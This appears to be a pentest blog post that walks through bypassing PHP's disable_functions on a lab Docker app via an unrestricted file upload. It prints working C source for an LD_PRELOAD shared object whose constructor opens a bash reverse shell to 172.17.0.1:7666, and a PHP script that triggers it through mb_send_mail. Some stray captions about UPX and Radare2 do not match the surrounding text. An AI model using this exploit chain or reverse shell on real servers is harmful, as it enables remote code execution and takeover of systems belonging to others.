This blog post walks through how to bypass one of the most common PHP security measures: the disable_functions which is used by most php application/web servers

Im order to show the exploit. I have created this php application based on my pentest project. It runs inside my docker. It is the exact same backend for the file upload logic and php directive as production level php web application.

Decompressing binary with UPX

The PHP application should be vulnerable for unrestricted file upload, permitting any file type to be uploaded on the server.

You must know the server path where the uploaded files are stored. You can find this if debug mode is enabled or using a php script to find out where the uploaded files are stored.

Lets upload the php files. which executes the command id on the host machine/server

ID upload

At this point we know system function is disabled, we can check this by executing this php <?php phpinfo(); ?>

Radare2 disassembly output

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8) mb_send_mail — Send encoded mail

You can find the Docs Here

mb_send_mail is a PHP function used to send emails with multi-byte encoding.

mb_send_mail(
    string $to,
    string $subject,
    string $message,
    array|string $additional_headers = [],
    ?string $additional_params = null
): bool

Create a small C program and then later compile it to a shared object (.so).

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
attribute ((constructor)) void exploit_init(void) {
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/7666 0>&1'");
}

xen.c  xen.so

So Here is the exploit logic, The moment we call mb_send_mail is called. the OS prepares to run sendmail. It sees the LD_PRELOAD instruction, loads the attacker's library, and executes the reverse shell code.

When PHP calls mb_send_mail(), it doesn't send the email itself. Instead, it "forks" a new process to run the system's mail binary (usually sendmail).

sendmail_path => /usr/sbin/sendmail -t -i => /usr/sbin/sendmail -t -i

Here is the final exploit script.

<?php
putenv("LD_PRELOAD=/var/www/html/uploads/xen.so");
mb_send_mail("xen@localhost", "xen", "xen", "xen");
echo "Exploit triggered.";
?>

Upload the final exploit using the web file upload form. and go to /uploads/exploit.php

Exploit triggered
Exploit done

This blog shows that disabling a certain function is not enough while the OS remains open and the application can talk the OS through env variables. This exploit proves that.